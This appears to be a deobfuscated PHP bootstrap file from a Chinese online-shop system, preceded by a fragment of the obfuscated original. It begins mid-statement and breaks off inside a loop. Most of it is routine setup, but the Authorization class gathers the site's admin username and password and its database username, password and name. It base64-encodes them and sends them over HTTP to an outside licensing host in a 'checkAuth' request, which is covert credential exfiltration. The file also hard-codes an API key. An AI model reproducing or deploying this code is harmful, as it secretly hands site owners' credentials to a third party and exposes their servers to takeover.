}";unset($K4ptIAD);$K4ptIAD=$K4pAC;$str=$K4ptIAD;$K4pA5=SF_ROOT . 'AuthInfo.php';unset($K4ptIA6);$K4ptIA6=$K4pA5;$file=$K4ptIA6;$K4pzA1=array();$K4pzA1[]=&$file;$K4peF0=call_user_func_array("file_exists",$K4pzA1);$K4pA5=!$K4peF0;if($K4pA5)goto K4peWjgxb2;goto K4pldMhxb2;K4peWjgxb2:$K4pzA1=array();$K4pzA1[]=&$file;$K4pzA1[]='';$K4peF0=call_user_func_array("file_put_contents",$K4pzA1);goto K4pxb1;K4pldMhxb2:K4pxb1:$K4pzA1=array();$K4pzA1[]=&$file;$K4pzA1[]='w';$K4peF0=call_user_func_array("fopen",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$handle=$K4ptIA5;if($K4ptIA5)g

デコード(難読化解除)されたコード

<?php

$K4pzA1 = array();
$K4pzA1[] = 0;
$K4peF0 = call_user_func_array("error_reporting", $K4pzA1);
if (defined('IN_CRONLITE')) {
    return;
}
$K4pzA1 = array();
$K4pzA1[] = 'CACHE_FILE';
$K4pzA1[] = 0;
$K4peF0 = call_user_func_array("define", $K4pzA1);
$K4pzA1 = array();
$K4pzA1[] = 'IN_CRONLITE';
$K4pzA1[] = true;
$K4peF0 = call_user_func_array("define", $K4pzA1);
$K4pzA1 = array();
$K4pzA1[] = 'VERSION';
$K4pzA1[] = 1010;
$K4peF0 = call_user_func_array("define", $K4pzA1);
$K4pzA1 = array();
$K4pzA1[] = 'wuyou';
$K4pzA1[] = '2711185458';
$K4peF0 = call_user_func_array("define", $K4pzA1);
$K4pzA1 = array();
$K4pzA1[] = "/var/www/html/input.php";
$K4peFvP0 = call_user_func_array("dirname", $K4pzA1);
$K4pvPA5 = $K4peFvP0 . '/';
$K4pzA3 = array();
$K4pzA3[] = 'SYSTEM_ROOT';
$K4pzA3[] =& $K4pvPA5;
$K4peF2 = call_user_func_array("define", $K4pzA3);
$K4pzA1 = array();
$K4pzA1[] = SYSTEM_ROOT;
$K4peFvP0 = call_user_func_array("dirname", $K4pzA1);
$K4pvPA5 = $K4peFvP0 . '/';
$K4pzA3 = array();
$K4pzA3[] = 'ROOT';
$K4pzA3[] =& $K4pvPA5;
$K4peF2 = call_user_func_array("define", $K4pzA3);
$K4pvPA5 = "ROOTtemplate/";
$K4pzA1 = array();
$K4pzA1[] = 'TEMPLATE_ROOT';
$K4pzA1[] =& $K4pvPA5;
$K4peF0 = call_user_func_array("define", $K4pzA1);
$K4pvPA5 = "ROOTincludes/plugins/";
$K4pzA1 = array();
$K4pzA1[] = 'PLUGIN_ROOT';
$K4pzA1[] =& $K4pvPA5;
$K4peF0 = call_user_func_array("define", $K4pzA1);
$K4pzA1 = array();
$K4pzA1[] = 'Asia/Shanghai';
$K4peF0 = call_user_func_array("date_default_timezone_set", $K4pzA1);
$K4pzA1 = array();
$K4pzA1[] = "Y-m-d H:i:s";
$K4peF0 = call_user_func_array("date", $K4pzA1);
unset($K4ptIA5);
$K4ptIA5 = $K4peF0;
$date = $K4ptIA5;
$K4pA5 = "SYSTEM_ROOTbase.php";
$K4pA6 = (include_once $K4pA5);
$GLOBALS["Ox8117"] = ini_get("error_reporting");
error_reporting(0);
$K4pzA1 = array();
$K4pzA1[] = 'Cache-Control: no-store, no-cache, must-revalidate';
$K4peF0 = call_user_func_array("header", $K4pzA1);
$K4peRA5 = $K4peF0;
error_reporting($GLOBALS["Ox8117"]);
$GLOBALS["Ox8117"] = ini_get("error_reporting");
error_reporting(0);
$K4pzA1 = array();
$K4pzA1[] = 'Pragma: no-cache';
$K4peF0 = call_user_func_array("header", $K4pzA1);
$K4peRA5 = $K4peF0;
error_reporting($GLOBALS["Ox8117"]);
$K4pzA1 = array();
$K4peF0 = call_user_func_array("session_start", $K4pzA1);
$K4pA5 = "SYSTEM_ROOTautoloader.php";
$K4pA6 = (include_once $K4pA5);
Autoloader::register();
$K4pA5 = $is_defend == true;
$K4pA7 = (bool) $K4pA5;
$K4pA8 = !$K4pA7;
if ($K4pA8) {
    $K4pA6 = false;
    $K4pA7 = false;
    goto K4px4;
}
K4px4:
if ($K4pA7) {
    $K4pA5 = !isset($_SERVER['HTTP_X_REQUESTED_WITH']);
    $K4pA7 = (bool) $K4pA5;
    if ($K4pA7) {
        unset($K4pcV2);
        $K4pzA5 = array();
        $K4pzA5[] =& $_SERVER;
        $K4peF4 = call_user_func_array("is_array", $K4pzA5);
        if ($K4peF4) {
            $K4pcV2 =& $_SERVER['HTTP_X_REQUESTED_WITH'];
            goto K4px8;
        }
        $K4pcV2 = $_SERVER['HTTP_X_REQUESTED_WITH'];
        K4px8:
        $K4pzA3 = array();
        $K4pzA3[] =& $K4pcV2;
        $K4peF1 = call_user_func_array("strtolower", $K4pzA3);
        $K4pA6 = $K4peF1 != 'xmlhttprequest';
        $K4pA7 = (bool) $K4pA6;
        goto K4pxa;
    }
    K4pxa:
    if ($K4pA7) {
        $K4pA5 = "SYSTEM_ROOTtxprotect.php";
        $K4pA6 = (include_once $K4pA5);
        goto K4px7;
    }
    K4px7:
    $K4pA5 = false;
    $K4pA7 = false;
    if ($K4pA7) {
        $K4pzA1 = array();
        $K4peF0 = call_user_func_array("check_spider", $K4pzA1);
        $K4pA6 = $K4peF0 == false;
        $K4pA7 = (bool) $K4pA6;
        goto K4pxe;
    }
    K4pxe:
    if ($K4pA7) {
        goto K4pxd;
    }
    K4pxd:
    $K4pA5 = false;
    $K4pA7 = false;
    if ($K4pA7) {
        $K4pzA1 = array();
        $K4peF0 = call_user_func_array("check_spider", $K4pzA1);
        $K4pA6 = $K4peF0 == false;
        $K4pA7 = (bool) $K4pA6;
        goto K4pxk;
    }
    K4pxk:
    $K4pA9 = (bool) $K4pA7;
    $K4pAA = !$K4pA9;
    if ($K4pAA) {
        $K4pA8 = false;
        $K4pA9 = false;
        goto K4pxi;
    }
    K4pxi:
    if ($K4pA9) {
        $K4pzA1 = array();
        $K4peF0 = call_user_func_array("cc_defender", $K4pzA1);
        goto K4pxh;
    }
    K4pxh:
    goto K4px3;
}
K4px3:
unset($K4pcV1);
$K4pzA4 = array();
$K4pzA4[] =& $_SERVER;
$K4peF3 = call_user_func_array("is_array", $K4pzA4);
if ($K4peF3) {
    $K4pcV1 =& $_SERVER['SCRIPT_NAME'];
    goto K4pxn;
}
$K4pcV1 = $_SERVER['SCRIPT_NAME'];
K4pxn:
$K4pzA2 = array();
$K4pzA2[] = '\\';
$K4pzA2[] = '/';
$K4pzA2[] =& $K4pcV1;
$K4peF0 = call_user_func_array("str_replace", $K4pzA2);
unset($K4ptIA5);
$K4ptIA5 = $K4peF0;
$scriptpath = $K4ptIA5;
$K4pzA1 = array();
$K4pzA1[] =& $scriptpath;
$K4pzA1[] = '/';
$K4peFvP0 = call_user_func_array("strrpos", $K4pzA1);
$K4pzA3 = array();
$K4pzA3[] =& $scriptpath;
$K4pzA3[] = 0;
$K4pzA3[] =& $K4peFvP0;
$K4peF2 = call_user_func_array("substr", $K4pzA3);
unset($K4ptIA5);
$K4ptIA5 = $K4peF2;
$sitepath = $K4ptIA5;
$K4pA5 = $_SERVER['SERVER_PORT'] == 443;
if ($K4pA5) {
    $K4pA6 = 'https://';
    goto K4pxp;
}
$K4pA6 = 'http://';
K4pxp:
$K4pA7 = $K4pA6 . $_SERVER['HTTP_HOST'];
$K4pA8 = $K4pA7 . $sitepath;
$K4pA9 = $K4pA8 . '/';
unset($K4ptIAA);
$K4ptIAA = $K4pA9;
$siteurl = $K4ptIAA;
$K4pvPA5 = "SYSTEM_ROOT360safe/360webscan.php";
$K4pzA1 = array();
$K4pzA1[] =& $K4pvPA5;
$K4peF0 = call_user_func_array("is_file", $K4pzA1);
if ($K4peF0) {
    $K4pA5 = "SYSTEM_ROOT360safe/360webscan.php";
    $K4pA6 = (require_once $K4pA5);
    goto K4pxr;
}
K4pxr:
$K4pA5 = "SYSTEM_ROOT360safe/xss.php";
$K4pA6 = (require_once $K4pA5);
$K4pA5 = "ROOTconfig.php";
$K4pA6 = (require $K4pA5);
unset($K4pcV1);
$K4pzA4 = array();
$K4pzA4[] =& $dbconfig;
$K4peF3 = call_user_func_array("is_array", $K4pzA4);
if ($K4peF3) {
    $K4pcV1 =& $dbconfig['dbqz'];
    goto K4pxt;
}
$K4pcV1 = $dbconfig['dbqz'];
K4pxt:
$K4pzA2 = array();
$K4pzA2[] = 'DBQZ';
$K4pzA2[] =& $K4pcV1;
$K4peF0 = call_user_func_array("define", $K4pzA2);
$K4pA5 = !defined('SQLITE');
$K4pA7 = (bool) $K4pA5;
if ($K4pA7) {
    $K4pA6 = !$dbconfig['user'];
    $K4pA7 = (bool) $K4pA6;
    goto K4px11;
}
K4px11:
$K4pA9 = (bool) $K4pA7;
$K4pAD = !$K4pA9;
if ($K4pAD) {
    $K4pA8 = !$dbconfig['pwd'];
    $K4pA9 = (bool) $K4pA8;
    goto K4pxy;
}
K4pxy:
$K4pAB = (bool) $K4pA9;
$K4pAC = !$K4pAB;
if ($K4pAC) {
    $K4pAA = !$dbconfig['dbname'];
    $K4pAB = (bool) $K4pAA;
    goto K4pxw;
}
K4pxw:
if ($K4pAB) {
    $K4pzA1 = array();
    $K4pzA1[] = 'Content-type:text/html;charset=utf-8';
    $K4peF0 = call_user_func_array("header", $K4pzA1);
    echo '你还没安装!<a href="/install/">点此安装</a>';
    exit;
}
$K4pA5 = new \lib\PdoHelper($dbconfig);
unset($K4ptIA6);
$K4ptIA6 = $K4pA5;
$DB = $K4ptIA6;
$K4pzA1 = array();
$K4pzA1[] = "select * from pre_config where 1";
$K4pzA2 = array();
$K4pzA2[] = $DB;
$K4pzA2[] = "query";
$K4phC0 = call_user_func_array($K4pzA2, $K4pzA1);
$K4pA5 = $K4phC0 == FALSE;
if ($K4pA5) {
    $K4pzA1 = array();
    $K4pzA1[] = 'Content-type:text/html;charset=utf-8';
    $K4peF0 = call_user_func_array("header", $K4pzA1);
    echo '你还没安装!<a href="/install/">点此安装</a>';
    exit;
}
$K4pA5 = new \lib\Cache();
unset($K4ptIA6);
$K4ptIA6 = $K4pA5;
$CACHE = $K4ptIA6;
$K4pzA1 = array();
$K4pzA2 = array();
$K4pzA2[] = $CACHE;
$K4pzA2[] = "pre_fetch";
$K4phC0 = call_user_func_array($K4pzA2, $K4pzA1);
unset($K4ptIA5);
$K4ptIA5 = $K4phC0;
$conf = $K4ptIA5;
unset($K4pcV1);
$K4pzA4 = array();
$K4pzA4[] =& $conf;
$K4peF3 = call_user_func_array("is_array", $K4pzA4);
if ($K4peF3) {
    $K4pcV1 =& $conf['syskey'];
    goto K4px16;
}
$K4pcV1 = $conf['syskey'];
K4px16:
$K4pzA2 = array();
$K4pzA2[] = 'SYS_KEY';
$K4pzA2[] =& $K4pcV1;
$K4peF0 = call_user_func_array("define", $K4pzA2);
$K4pA5 = $conf['qqjump'] == 1;
$K4pAB = (bool) $K4pA5;
if ($K4pAB) {
    unset($K4pcV1);
    $K4pzA9 = array();
    $K4pzA9[] =& $_SERVER;
    $K4peF8 = call_user_func_array("is_array", $K4pzA9);
    if ($K4peF8) {
        $K4pcV1 =& $_SERVER['HTTP_USER_AGENT'];
        goto K4px1d;
    }
    $K4pcV1 = $_SERVER['HTTP_USER_AGENT'];
    K4px1d:
    $K4pzA2 = array();
    $K4pzA2[] =& $K4pcV1;
    $K4pzA2[] = 'QQ/';
    $K4peF0 = call_user_func_array("strpos", $K4pzA2);
    $K4pA6 = !$K4peF0;
    $K4pA7 = $K4pA6 === false;
    $K4pAA = (bool) $K4pA7;
    $K4pAC = !$K4pAA;
    if ($K4pAC) {
        unset($K4pcV4);
        $K4pzA7 = array();
        $K4pzA7[] =& $_SERVER;
        $K4peF6 = call_user_func_array("is_array", $K4pzA7);
        if ($K4peF6) {
            $K4pcV4 =& $_SERVER['HTTP_USER_AGENT'];
            goto K4px19;
        }
        $K4pcV4 = $_SERVER['HTTP_USER_AGENT'];
        K4px19:
        $K4pzA5 = array();
        $K4pzA5[] =& $K4pcV4;
        $K4pzA5[] = 'MicroMessenger';
        $K4peF3 = call_user_func_array("strpos", $K4pzA5);
        $K4pA8 = !$K4peF3;
        $K4pA9 = $K4pA8 === false;
        $K4pAA = (bool) $K4pA9;
        goto K4px1b;
    }
    K4px1b:
    $K4pAB = (bool) $K4pAA;
    goto K4px1f;
}
K4px1f:
if ($K4pAB) {
    $K4pA5 = $_GET['open'] == 1;
    $K4pA8 = (bool) $K4pA5;
    if ($K4pA8) {
        unset($K4pcV1);
        $K4pzA4 = array();
        $K4pzA4[] =& $_SERVER;
        $K4peF3 = call_user_func_array("is_array", $K4pzA4);
        if ($K4peF3) {
            $K4pcV1 =& $_SERVER['HTTP_USER_AGENT'];
            goto K4px1l;
        }
        $K4pcV1 = $_SERVER['HTTP_USER_AGENT'];
        K4px1l:
        $K4pzA2 = array();
        $K4pzA2[] =& $K4pcV1;
        $K4pzA2[] = 'MicroMessenger';
        $K4peF0 = call_user_func_array("strpos", $K4pzA2);
        $K4pA6 = !$K4peF0;
        $K4pA7 = $K4pA6 === false;
        $K4pA8 = (bool) $K4pA7;
        goto K4px1n;
    }
    K4px1n:
    if ($K4pA8) {
        $K4pzA1 = array();
        $K4pzA1[] = 'Content-Disposition: attachment; filename="load.doc"';
        $K4peF0 = call_user_func_array("header", $K4pzA1);
        $K4pzA1 = array();
        $K4pzA1[] = 'Content-Type: application/vnd.ms-word;charset=utf-8';
        $K4peF0 = call_user_func_array("header", $K4pzA1);
        goto K4px1k;
    }
    $K4pzA1 = array();
    $K4pzA1[] = 'Content-type:text/html;charset=utf-8';
    $K4peF0 = call_user_func_array("header", $K4pzA1);
    K4px1k:
    $K4pA5 = "ROOTtemplate/default/jump.php";
    $K4pA6 = (include $K4pA5);
    exit(0);
}
unset($K4ptIA5);
$K4ptIA5 = '!@#%!s!0';
$password_hash = $K4ptIA5;
$K4pA5 = "SYSTEM_ROOTfunction.php";
$K4pA6 = (include_once $K4pA5);
$K4pA5 = "SYSTEM_ROOTcore.func.php";
$K4pA6 = (include_once $K4pA5);
$K4pA5 = "SYSTEM_ROOTajax.func.php";
$K4pA6 = (include_once $K4pA5);
$K4pA5 = "SYSTEM_ROOTmember.php";
$K4pA6 = (include_once $K4pA5);
$K4pvPA5 = "SYSTEM_ROOTversion.php";
$K4pzA1 = array();
$K4pzA1[] =& $K4pvPA5;
$K4peF0 = call_user_func_array("file_exists", $K4pzA1);
$K4pA6 = !$K4peF0;
if ($K4pA6) {
    $K4pzA1 = array();
    $K4pzA1[] = '缺少核心文件,请重新到授权站下载';
    $K4peF0 = call_user_func_array("sysmsg", $K4pzA1);
    exit;
}
$K4pvPA5 = "ROOTinstall/install.lock";
$K4pzA1 = array();
$K4pzA1[] =& $K4pvPA5;
$K4peF0 = call_user_func_array("file_exists", $K4pzA1);
$K4pA6 = !$K4peF0;
$K4pA8 = (bool) $K4pA6;
if ($K4pA8) {
    $K4pvPA7 = "ROOTinstall/index.php";
    $K4pzA3 = array();
    $K4pzA3[] =& $K4pvPA7;
    $K4peF2 = call_user_func_array("file_exists", $K4pzA3);
    $K4pA8 = (bool) $K4peF2;
    goto K4px1t;
}
K4px1t:
if ($K4pA8) {
    $K4pzA1 = array();
    $K4pzA1[] = '<h2>检测到无 install.lock 文件</h2><ul><li><font size="4">如果您尚未安装本程序,请<a href="/install/">前往安装</a></font></li><li><font size="4">如果您已经安装本程序,请手动放置一个空的 install.lock 文件到 /install 文件夹下,<b>为了您站点安全,在您完成它之前我们不会工作。</b></font></li></ul><br/><h4>为什么必须建立 install.lock 文件?</h4>它是安装保护文件,如果检测不到它,就会认为站点还没安装,此时任何人都可以安装/重装你的网站。<br/><br/>';
    $K4peF0 = call_user_func_array("sysmsg", $K4pzA1);
    exit;
}
$K4pA5 = "SYSTEM_ROOTversion.php";
$K4pA6 = (include_once $K4pA5);
unset($K4ptIA5);
$K4ptIA5 = $_COOKIE['mysid'];
$cookiesid = $K4ptIA5;
$K4pA5 = !$cookiesid;
$K4pA7 = (bool) $K4pA5;
$K4pA8 = !$K4pA7;
if ($K4pA8) {
    $K4pzA1 = array();
    $K4pzA1[] = '/^[0-9a-z]{32}$/i';
    $K4pzA1[] =& $cookiesid;
    $K4peF0 = call_user_func_array("preg_match", $K4pzA1);
    $K4pA6 = !$K4peF0;
    $K4pA7 = (bool) $K4pA6;
    goto K4px1x;
}
K4px1x:
if ($K4pA7) {
    $K4pzA1 = array();
    $K4peFvPvP0 = call_user_func_array("mt_rand", $K4pzA1);
    $K4pzA3 = array();
    $K4pzA3[] =& $K4peFvPvP0;
    $K4pzA3[] = 1;
    $K4peFvP2 = call_user_func_array("uniqid", $K4pzA3);
    $K4pzA5 = array();
    $K4peFvP4 = call_user_func_array("time", $K4pzA5);
    $K4pvPA5 = $K4peFvP2 . $K4peFvP4;
    $K4pzA7 = array();
    $K4pzA7[] =& $K4pvPA5;
    $K4peF6 = call_user_func_array("md5", $K4pzA7);
    unset($K4ptIA6);
    $K4ptIA6 = $K4peF6;
    $cookiesid = $K4ptIA6;
    $K4pzA1 = array();
    $K4peFvP0 = call_user_func_array("time", $K4pzA1);
    $K4pvPA5 = $K4peFvP0 + 604800;
    $K4pzA3 = array();
    $K4pzA3[] = 'mysid';
    $K4pzA3[] =& $cookiesid;
    $K4pzA3[] =& $K4pvPA5;
    $K4pzA3[] = '/';
    $K4peF2 = call_user_func_array("setcookie", $K4pzA3);
    goto K4px1w;
}
K4px1w:
if (isset($_COOKIE['invite'])) {
    unset($K4pcV1);
    $K4pzA4 = array();
    $K4pzA4[] =& $_COOKIE;
    $K4peF3 = call_user_func_array("is_array", $K4pzA4);
    if ($K4peF3) {
        $K4pcV1 =& $_COOKIE['invite'];
        goto K4px23;
    }
    $K4pcV1 = $_COOKIE['invite'];
    K4px23:
    $K4pzA2 = array();
    $K4pzA2[] =& $K4pcV1;
    $K4peF0 = call_user_func_array("intval", $K4pzA2);
    unset($K4ptIA5);
    $K4ptIA5 = $K4peF0;
    $invite_id = $K4ptIA5;
    goto K4px21;
}
K4px21:
unset($K4pcV1);
$K4pzA4 = array();
$K4pzA4[] =& $_SERVER;
$K4peF3 = call_user_func_array("is_array", $K4pzA4);
if ($K4peF3) {
    $K4pcV1 =& $_SERVER['HTTP_HOST'];
    goto K4px25;
}
$K4pcV1 = $_SERVER['HTTP_HOST'];
K4px25:
$K4pzA2 = array();
$K4pzA2[] =& $K4pcV1;
$K4peF0 = call_user_func_array("addslashes", $K4pzA2);
unset($K4ptIA5);
$K4ptIA5 = $K4peF0;
$domain = $K4ptIA5;
$K4pzAvP0 = array();
$K4pzAvP0[':domain'] = $domain;
$K4pzA2 = array();
$K4pzA2[] = "SELECT * FROM pre_site WHERE domain=:domain OR domain2=:domain LIMIT 1";
$K4pzA2[] =& $K4pzAvP0;
$K4pzA3 = array();
$K4pzA3[] = $DB;
$K4pzA3[] = "getRow";
$K4phC1 = call_user_func_array($K4pzA3, $K4pzA2);
unset($K4ptIA5);
$K4ptIA5 = $K4phC1;
$siterow = $K4ptIA5;
$K4pA6 = (bool) $siterow;
if ($K4pA6) {
    $K4pA5 = $siterow['status'] == 1;
    $K4pA6 = (bool) $K4pA5;
    goto K4px28;
}
K4px28:
if ($K4pA6) {
    unset($K4ptIA5);
    $K4ptIA5 = true;
    $is_fenzhan = $K4ptIA5;
    $K4pA5 = $siterow['template'] == NULL;
    $K4pA7 = (bool) $K4pA5;
    $K4pA8 = !$K4pA7;
    if ($K4pA8) {
        $K4pA6 = $conf['fenzhan_template'] == 0;
        $K4pA7 = (bool) $K4pA6;
        goto K4px2c;
    }
    K4px2c:
    if ($K4pA7) {
        unset($K4ptIA5);
        $K4ptIA5 = $conf['template'];
        $siterow['template'] = $K4ptIA5;
        goto K4px2b;
    }
    K4px2b:
    $K4pzA1 = array();
    $K4pzA1[] =& $conf;
    $K4pzA1[] =& $siterow;
    $K4peF0 = call_user_func_array("array_merge", $K4pzA1);
    unset($K4ptIA5);
    $K4ptIA5 = $K4peF0;
    $conf = $K4ptIA5;
    unset($K4ptIA5);
    $K4ptIA5 = $conf['qq'];
    $conf['kfqq'] = $K4ptIA5;
    goto K4px27;
}
unset($K4ptIA5);
$K4ptIA5 = false;
$is_fenzhan = $K4ptIA5;
K4px27:
class Authorization
{
    const AUTH_DOMAIN = "sq.83zf.com";
    const APP_API_KEY = "e9cb5fb4693d7ce63cecbbd4f68c65ef";
    const APPID = "1";
    const METHOD = "get";
    const HTTP = false;
    const TIME = 300;
    const QUEUE_TIME = 60;
    private static $AUTHCODE = "";
    private static $VERSION = "";
    private static $PUBLIC_KEY = "";
    public function __construct()
    {
        if (empty(AuthInfo::AUTHCODE)) {
            self::Message('授权码为空,请重新到授权站下载源码');
            goto K4pxb5;
        }
        K4pxb5:
        if (empty(AuthInfo::VERSION)) {
            self::Message('版本号为空,请重新到授权站下载源码');
            goto K4pxb7;
        }
        K4pxb7:
        if (empty(AuthInfo::PUBLIC_KEY)) {
            self::Message('授权公钥为空,请重新到授权站下载源码');
            goto K4pxb9;
        }
        K4pxb9:
        unset($K4ptIA5);
        $K4ptIA5 = AuthInfo::AUTHCODE;
        self::$AUTHCODE = $K4ptIA5;
        unset($K4ptIA5);
        $K4ptIA5 = AuthInfo::VERSION;
        self::$VERSION = $K4ptIA5;
        unset($K4ptIA5);
        $K4ptIA5 = AuthInfo::PUBLIC_KEY;
        self::$PUBLIC_KEY = $K4ptIA5;
    }
    public function getNotice()
    {
        $K4pzA0 = array();
        $K4pzA0['appid'] = self::APPID;
        unset($K4ptIA5);
        $K4ptIA5 = $K4pzA0;
        $data = $K4ptIA5;
        $K4pA5 = !self::HTTP;
        if ($K4pA5) {
            $K4pA6 = 'http://';
            goto K4pxbb;
        }
        $K4pA6 = 'https://';
        K4pxbb:
        unset($K4ptIA7);
        $K4ptIA7 = $K4pA6;
        $http = $K4ptIA7;
        $K4pvPA5 = $http . self::AUTH_DOMAIN;
        $K4pvPA6 = $K4pvPA5 . '/api.php/Notice/appNotice';
        unset($K4ptIA7);
        $K4ptIA7 = $this->curl_request($K4pvPA6, $data, self::METHOD, self::HTTP);
        $result = $K4ptIA7;
        $K4pzA1 = array();
        $K4pzA1[] =& $result;
        $K4pzA1[] = true;
        $K4peF0 = call_user_func_array("json_decode", $K4pzA1);
        unset($K4ptIA5);
        $K4ptIA5 = $K4peF0;
        $result = $K4ptIA5;
        $K4pzA1 = array();
        $K4pzA1[] =& $result;
        $K4peF0 = call_user_func_array("is_array", $K4pzA1);
        if ($K4peF0) {
            return $result['data'];
        }
        return false;
    }
    public function getPayList()
    {
        $K4pA5 = !empty($_COOKIE['pay_api_list']);
        if ($K4pA5) {
            return $_COOKIE['pay_api_list'];
        }
        $K4pA5 = !self::HTTP;
        if ($K4pA5) {
            $K4pA6 = 'http://';
            goto K4pxbh;
        }
        $K4pA6 = 'https://';
        K4pxbh:
        unset($K4ptIA7);
        $K4ptIA7 = $K4pA6;
        $http = $K4ptIA7;
        $K4pvPA5 = $http . self::AUTH_DOMAIN;
        $K4pvPA6 = $K4pvPA5 . '/api.php/Notice/getPayList';
        unset($K4ptIA7);
        $K4ptIA7 = $this->curl_request($K4pvPA6, 0, self::METHOD, self::HTTP);
        $result = $K4ptIA7;
        $K4pzA1 = array();
        $K4pzA1[] = 'pay_api_list';
        $K4pzA1[] =& $result;
        $K4pzA1[] = 86400;
        $K4pzA1[] = '/';
        $K4peF0 = call_user_func_array("setcookie", $K4pzA1);
        return $result;
    }
    public function checkPayment($url)
    {
        $K4pzA0 = array();
        $K4pzA0['url'] = $url;
        $K4pzA0['appid'] = self::APPID;
        $K4pzA0['api_key'] = self::APP_API_KEY;
        unset($K4ptIA5);
        $K4ptIA5 = $K4pzA0;
        $data = $K4ptIA5;
        $K4pA5 = !self::HTTP;
        if ($K4pA5) {
            $K4pA6 = 'http://';
            goto K4pxbj;
        }
        $K4pA6 = 'https://';
        K4pxbj:
        unset($K4ptIA7);
        $K4ptIA7 = $K4pA6;
        $http = $K4ptIA7;
        $K4pvPA5 = $http . self::AUTH_DOMAIN;
        $K4pvPA6 = $K4pvPA5 . '/api.php/Auth/checkPayment';
        unset($K4ptIA7);
        $K4ptIA7 = $this->curl_request($K4pvPA6, $data, self::METHOD, self::HTTP);
        $result = $K4ptIA7;
        $K4pzA1 = array();
        $K4pzA1[] =& $result;
        $K4pzA1[] = true;
        $K4peF0 = call_user_func_array("json_decode", $K4pzA1);
        unset($K4ptIA5);
        $K4ptIA5 = $K4peF0;
        $result = $K4ptIA5;
        $K4pzA1 = array();
        $K4pzA1[] =& $result;
        $K4peF0 = call_user_func_array("is_array", $K4pzA1);
        if ($K4peF0) {
            $K4pA5 = $result['code'] == '0';
            if ($K4pA5) {
                return true;
            }
            goto K4pxbl;
        }
        K4pxbl:
        return false;
    }
    public static function Message($msg)
    {
        $K4pA5 = '
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<title>蓝天商城系统</title>
</head>
<style>
@charset "utf-8";

*{
	margin: 0;
	padding: 0;
}
body,html{
	width: 100%;
	height: 100%;
}
body{
	background: #ff6500;
	font-family: "微软雅黑";
}
.notice-wrap{
	padding-top: 30px;
}
.notice{
	margin: 0 auto;
	width: 682px;
	height: 633px;
	background: url(/assets/img/update-bg.png) no-repeat;
}
.notice h1{
	padding-top: 225px;
	font-size: 36px;
	color: #333;
	text-align: center;
}
.notice>p{
	margin: 0 62px;
	font-size: 18px;
	color: #666;
	text-indent: 36px;
	line-height: 40px;
}
p span{
	color: #ff6500;
}
.notice .notice-cont{
	margin-top: 45px;
}
.notice .notice-tel{
	padding-bottom: 54px;
	border-bottom: 2px solid #f2f2f2;
}
.notice-foot{
	margin-top: 24px;
}
.notice-foot p{
	font-size: 18px;
	color: #666;
	text-align: center;}
</style>
<body>
	<div class="notice-wrap">
		<div class="notice">
			<h1>蓝天提醒您</h1>
			<p class="notice-cont">尊敬的用户您好<span>蓝天商城系统</span>提醒您</p>
			<p class="notice-tel">' . $msg;
        $K4pA6 = $K4pA5 . '</p>
			<div class="notice-foot">
				<p>蓝天商城系统</p>
			</div>
		</div>
	</div>
</body>
</html>
';
        exit($K4pA6);
    }
    private static function getParam()
    {
        global $conf, $dbconfig;
        $K4pzA0 = array();
        $K4pzA0['authcode'] = self::$AUTHCODE;
        $K4pzA0['version'] = self::$VERSION;
        $K4pzA0['用户名'] = $conf['admin_user'];
        $K4pzA0['密码'] = $conf['admin_pwd'];
        $K4pzA0['qq'] = $conf['kfqq'];
        $K4pzA0['数据库用户名'] = $dbconfig['user'];
        $K4pzA0['数据库密码'] = $dbconfig['pwd'];
        $K4pzA0['数据库库名'] = $dbconfig['dbname'];
        return $K4pzA0;
    }
    public function checkInfo($type = 'auth')
    {
        $K4plFkgHhxbp = $type;
        $K4pA5 = $K4plFkgHhxbp == 'update';
        if ($K4pA5) {
            unset($K4ptIA5);
            $K4ptIA5 = 'checkUpdate';
            $method = $K4ptIA5;
            unset($K4ptIA5);
            $K4ptIA5 = 'checkUpdate';
            $queueMethod = $K4ptIA5;
            goto K4pxbp;
        }
        K4pldMhxbt:
        K4pDeftxbr:
        unset($K4ptIA5);
        $K4ptIA5 = 'checkAuth';
        $method = $K4ptIA5;
        unset($K4ptIA5);
        $K4ptIA5 = 'checkUpdate';
        $queueMethod = $K4ptIA5;
        K4pxbp:
        $K4pzA1 = array();
        $K4pzA1[] = 'HTTP_HOST';
        $K4peFvP0 = call_user_func_array("getenv", $K4pzA1);
        $K4pzA2 = array();
        $K4pzA2['auth_info'] = $K4peFvP0;
        $K4pzA2['appid'] = self::APPID;
        $K4pzA2['api_key'] = self::APP_API_KEY;
        $K4pzA2['param'] = base64_encode(json_encode(self::getParam()));
        unset($K4ptIA5);
        $K4ptIA5 = $K4pzA2;
        $data = $K4ptIA5;
        $K4pA5 = !self::HTTP;
        if ($K4pA5) {
            $K4pA6 = 'http://';
            goto K4pxbw;
        }
        $K4pA6 = 'https://';
        K4pxbw:
        unset($K4ptIA7);
        $K4ptIA7 = $K4pA6;
        $http = $K4ptIA7;
        $K4pvPA5 = $http . self::AUTH_DOMAIN;
        $K4pvPA6 = $K4pvPA5 . '/api.php/Auth/';
        $K4pvPA7 = $K4pvPA6 . $method;
        unset($K4ptIA8);
        $K4ptIA8 = $this->curl_request($K4pvPA7, $data, self::METHOD, self::HTTP);
        $result = $K4ptIA8;
        $K4pzA1 = array();
        $K4pzA1[] =& $result;
        $K4pzA1[] = true;
        $K4peF0 = call_user_func_array("json_decode", $K4pzA1);
        unset($K4ptIA5);
        $K4ptIA5 = $K4peF0;
        $result = $K4ptIA5;
        $K4pzA1 = array();
        $K4pzA1[] =& $result;
        $K4peF0 = call_user_func_array("is_array", $K4pzA1);
        if ($K4peF0) {
            $K4pA5 = !empty($result['data']['queue']);
            if ($K4pA5) {
                unset($K4ptIA5);
                $K4ptIA5 = 0;
                $i = $K4ptIA5;
                K4pxc3:
                if (1) {
                    $K4pvPA5 = $http . self::AUTH_DOMAIN;
                    $K4pvPA6 = $K4pvPA5 . '/api.php/Auth/';
                    $K4pvPA7 = $K4pvPA6 . $queueMethod;
                    unset($K4ptIA8);
                    $K4ptIA8 = $this->curl_request($K4pvPA7, $data, self::METHOD, self::HTTP);
                    unset($K4ptIA5);
                    $K4ptIA5 = $K4ptIA8;
                    $result = $K4ptIA5;
                    $K4pzA1 = array();
                    $K4pzA1[] =& $result;
                    $K4pzA1[] = true;
                    $K4peF0 = call_user_func_array("json_decode", $K4pzA1);
                    unset($K4ptIA5);
                    $K4ptIA5 = $K4peF0;
                    $result = $K4ptIA5;
                    $K4pzA1 = array();
